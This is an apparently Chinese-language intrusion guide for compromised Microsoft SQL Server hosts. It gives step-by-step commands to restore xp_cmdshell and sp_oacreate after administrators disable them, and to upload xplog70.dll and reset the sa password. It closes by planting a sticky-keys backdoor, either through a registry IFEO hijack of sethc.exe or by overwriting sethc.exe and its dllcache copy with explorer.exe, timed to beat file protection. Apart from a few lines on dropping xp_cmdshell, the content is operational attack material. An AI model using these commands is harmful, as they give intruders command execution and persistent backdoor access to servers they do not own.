Error Message:未能找到存储过程 'master..xp_cmdshell'。

修复法：很通用的，其实碰到 其他126 127的都可以一起修复，

除了xplog70.dll其他的都可以用这命令修复

xp_cmdshell新的恢复办法 
第一步先删除：
drop procedure sp_addextendedproc 
drop procedure sp_oacreate 
exec sp_dropextendedproc 'xp_cmdshell' 
服务器: 消息 3701，级别 11，状态 5，行 1
无法 除去 过程 'sp_addextendedproc'，因为它在系统目录中不存在。
服务器: 消息 3701，级别 11，状态 5，过程 sp_dropextendedproc，行 18
无法 除去 过程 'xp_cmdshell'，因为它在系统目录中不存在。
第二步恢复：
dbcc addextendedproc ("sp_oacreate","odsole70.dll") 
dbcc addextendedproc ("xp_cmdshell","xplog70.dll") 
直接恢复，不管sp_addextendedproc是不是存在

xplog70.dll修复：

Error Message:无法装载 DLL xplog70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。)。

修复XPLOG70.DLL（先用文件查看下备份的目录下/x86/bin,然后把下面目录替换）

第一步
exec sp_dropextendedproc 'xp_cmdshell'
第二步
dbcc addextendedproc ("xp_cmdshell","c:/sql2ksp4/x86/binn/xplog70.dll")

未能找到存储过程 'master..xp_cmdshell'。
第一步:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call

*/
@dllname varchar(255)/* name of DLL containing function */

return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO

第二步:
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int

SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息，请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

恢复扩展存储过程的办法 
先恢复sp_addextendedproc，语句如下： 
第一：
create procedure sp_addextendedproc --- 1996/08/30 20:13 
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as

return (1)   
end 
dbcc addextendedproc( @functname, @dllname)   
return (0) -- sp_addextendedproc 
GO

第二：

exec sp_addextendedproc xp_dirtree,'xpstar.dll'   
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'

exec sp_addextendedproc xp_regwrite,'xpstar.dll'   
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'

删除扩展存储过过程xp_cmdshell的语句: 
exec sp_dropextendedproc 'xp_cmdshell'

恢复cmdshell的sql语句 
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

开启cmdshell的sql语句 
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

判断存储扩展是否存在 
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 
返回结果为1就ok

恢复xp_cmdshell 
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 
返回结果为1就ok 
否则上传xplog7.0.dll 
exec master.dbo.addextendedproc 'xp_cmdshell','c:/winnt/system32/xplog70.dll'

堵上cmdshell的sql语句 
sp_dropextendedproc "xp_cmdshell

一.更改sa口令方法：
用sql综合利用工具连接后，执行命令：
exec sp_password NULL,'新密码','sa'
(提示：慎用!)

二.简单修补sa弱口令.

方法1:查询分离器连接后执行：
if exists (select * from 
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and 
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

GO
然后按F5键命令执行完毕

方法2:查询分离器连接后
第一步执行：use master 
第二步执行：sp_dropextendedproc 'xp_cmdshell' 
然后按F5键命令执行完毕

无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126（找不到指定模块。）
恢复方法：查询分离器连接后,
第一步执行：sp_dropextendedproc "xp_cmdshell"
第二步执行：sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法：查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'            
然后按F5键命令执行完毕

如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:

1.sql命令查询注册表粘滞键是否被劫持

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/sethc.exe','Debugger'

2.sql命令劫持注册表粘滞键功能,替换成任务管理器(当然你也可以替换成你想要的其他命令)

xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options/sethc.exe', 
'Debugger','REG_SZ','C:/WINDOWS/system32/taskmgr.exe'

=============================================

先说下错误产生的原因 错误5是个系统提示的错误号，CreateProcess这个是创建线程的意思，这个错误产生和系统文件cmd.exe有很大的关系，一种情况是cmd被删除，一种是cmd的权限被降低了.
       SQL查看终端端口及开放情况：
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp','PortNumber'
       好了，下面关键的地方了，要用到两条sql指令，将系统的explorer文件复制为系统的shift后门文件，下面两条语句为分别执行的，不可以放在一起执行，我是在sql tools 2.0工具里执行的，你也可以在分离器中执行，记得分别执行。

　　//这条语句将explorer.exe复制为sethc.exe

　　declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:windowsexplorer.exe','c:windowssystem32sethc.exe';

　　//这条语句将sethc.exe复制到dllcache目录下

　　declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:windowssystem32sethc.exe','c:windowssystem32dllcachesethc.exe';

　　这个两条语句执行的时间间隔最好不超过10秒钟，否则系统会自动恢复原来的文件。

　　另外这两条语句使用到的sp_oacreate存储过程需要使用到odsole70.dll这个文件，所以这个文件的存亡，关系到创建的成功与否。
